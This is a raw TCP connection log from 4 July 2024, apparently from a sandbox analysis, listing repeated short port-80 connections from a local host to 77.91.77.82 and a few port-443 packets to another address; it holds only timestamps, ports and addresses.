Jul 4, 2024 20:35:55.833659887 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.833990097 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.838938951 CEST	80	49886	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.838951111 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:55.838985920 CEST	49886	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.839032888 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.839273930 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:55.845617056 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:56.568367004 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:56.568718910 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.572134018 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.572501898 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.577399969 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:56.577413082 CEST	80	49887	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:56.577483892 CEST	49887	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.577733994 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.577802896 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:56.582603931 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:57.294785023 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:57.294852018 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.421077013 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.421545029 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.426348925 CEST	80	49888	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:57.426415920 CEST	49888	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.426443100 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:57.426738024 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.428664923 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:57.433517933 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.139054060 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.139118910 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.154885054 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.155168056 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.160778999 CEST	80	49889	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.160970926 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.161009073 CEST	49889	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.161051035 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.162307978 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:58.167413950 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.887814999 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:58.887948036 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.003946066 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.004252911 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.009283066 CEST	80	49890	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.009581089 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.009645939 CEST	49890	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.009706974 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.009884119 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.015382051 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.709424019 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.710882902 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.713455915 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.713774920 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.719373941 CEST	80	49891	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.719484091 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 20:35:59.719567060 CEST	49891	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.719588041 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.719726086 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:35:59.725725889 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:00.342120886 CEST	49859	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:36:00.342142105 CEST	443	49859	142.250.186.164	192.168.2.4
Jul 4, 2024 20:36:00.431210995 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:00.431883097 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.537944078 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.538270950 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.543657064 CEST	80	49892	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:00.543709040 CEST	49892	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.543956995 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:00.544094086 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.544388056 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:00.549141884 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.256695032 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.256772995 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.259922028 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.260375977 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.265048027 CEST	80	49894	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.265146017 CEST	49894	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.265578032 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.265652895 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.265851974 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:01.272829056 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.993185997 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:01.993268013 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.103960037 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.104463100 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.109162092 CEST	80	49895	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.109262943 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.109289885 CEST	49895	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.109648943 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.109977961 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.114789963 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.820839882 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.820899963 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.844329119 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.844851017 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.852426052 CEST	80	49896	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.852478027 CEST	49896	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.853009939 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:02.853079081 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.853719950 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:02.860234022 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:03.563265085 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:03.563374996 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.675359964 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.678802967 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.687572956 CEST	80	49898	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:03.688890934 CEST	80	49897	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:03.690840960 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.690886021 CEST	49898	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.690949917 CEST	49897	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.696018934 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:03.698911905 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.702800035 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:03.707668066 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:04.476588011 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:04.478914976 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.648386955 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.648767948 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.653652906 CEST	80	49899	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:04.653703928 CEST	49899	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.653973103 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:04.654032946 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.654566050 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:04.659338951 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:05.395961046 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:05.396014929 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.400029898 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.400448084 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.405368090 CEST	80	49900	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:05.405435085 CEST	49900	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.405472994 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:05.405539036 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.405781984 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:05.411010981 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.103116989 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.106909037 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.225305080 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.225305080 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.230446100 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.230680943 CEST	80	49901	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.230773926 CEST	49901	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.230798006 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.234807968 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.235579014 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.238826036 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.239598989 CEST	80	49902	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.242897034 CEST	49902	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.243707895 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.246902943 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.249545097 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:06.254504919 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.946429014 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:06.946573973 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.052695036 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.053184032 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.058031082 CEST	80	49903	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.058137894 CEST	49903	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.058185101 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.058248997 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.058579922 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.063663006 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.776281118 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.778912067 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.781820059 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.781827927 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.786725998 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.786927938 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.787128925 CEST	80	49904	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:07.787159920 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.787255049 CEST	49904	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:07.791882038 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:08.502291918 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:08.502367020 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.615675926 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.616089106 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.620974064 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:08.620985031 CEST	80	49905	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:08.621036053 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.621053934 CEST	49905	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.621289015 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:08.625998974 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:09.358964920 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:09.359030962 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.363292933 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.363745928 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.372762918 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:09.372824907 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.372895002 CEST	80	49906	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:09.372937918 CEST	49906	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.373110056 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:09.377834082 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.082026958 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.082165003 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.191905022 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.194813013 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.198704958 CEST	80	49907	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.198815107 CEST	49907	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.200491905 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.202891111 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.206829071 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.212163925 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.909296036 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.909357071 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.912838936 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.913196087 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.917967081 CEST	80	49908	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.918015003 CEST	49908	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.918294907 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:10.918363094 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.918581963 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:10.923355103 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:11.631102085 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:11.631517887 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.747497082 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.747497082 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.752437115 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:11.752523899 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.752688885 CEST	80	49909	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:11.752751112 CEST	49909	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.752872944 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:11.758265972 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:12.447494030 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:12.448296070 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.451684952 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.452069998 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.457000971 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:12.457170963 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.457305908 CEST	80	49910	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:12.457463980 CEST	49910	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.457660913 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:12.463479042 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.159372091 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.159516096 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.269857883 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.270162106 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.275001049 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.275058985 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.275307894 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.275636911 CEST	80	49912	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.275680065 CEST	49912	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.280249119 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.973362923 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.973547935 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.976644993 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.976928949 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.981676102 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.981739044 CEST	80	49913	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:13.981762886 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.981975079 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.982021093 CEST	49913	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:13.986994028 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:14.685242891 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:14.685292006 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.803519011 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.803900957 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.808640003 CEST	80	49915	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:14.808689117 CEST	49915	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.808728933 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:14.808795929 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.810107946 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:14.814944029 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:15.625324011 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:15.629038095 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.650880098 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.651736975 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.655941963 CEST	80	49916	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:15.656153917 CEST	49916	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.656639099 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:15.658873081 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.659925938 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:15.664819956 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:16.401556969 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:16.401696920 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.512135983 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.514818907 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.517658949 CEST	80	49917	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:16.517812967 CEST	49917	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.519954920 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:16.520071030 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.521434069 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:16.526258945 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:17.259109974 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:17.259166956 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.263292074 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.263757944 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.277313948 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:17.277389050 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.277743101 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.281095028 CEST	80	49918	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:17.281143904 CEST	49918	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:17.284625053 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.010330915 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.010510921 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.128525972 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.129158020 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.134054899 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.134287119 CEST	80	49919	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.134470940 CEST	49919	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.134470940 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.134705067 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.140358925 CEST	80	49920	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.142819881 CEST	49920	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.146316051 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.151242018 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.151454926 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.151604891 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:18.156409025 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.899171114 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:18.899260044 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.005012989 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.005547047 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.010071993 CEST	80	49921	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.010130882 CEST	49921	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.010744095 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.010864973 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.011213064 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.015984058 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.723592043 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.723900080 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.726872921 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.726922035 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.731663942 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.731750965 CEST	80	49922	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:19.731767893 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.731964111 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.732000113 CEST	49922	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:19.737085104 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:20.428683043 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:20.430917025 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.537570000 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.537976980 CEST	49924	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.542643070 CEST	80	49923	77.91.77.82	192.168.2.4
Jul 4, 2024 20:36:20.542723894 CEST	49923	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:36:20.542808056 CEST	80	49924	77.91.77.82	192.168.2.4
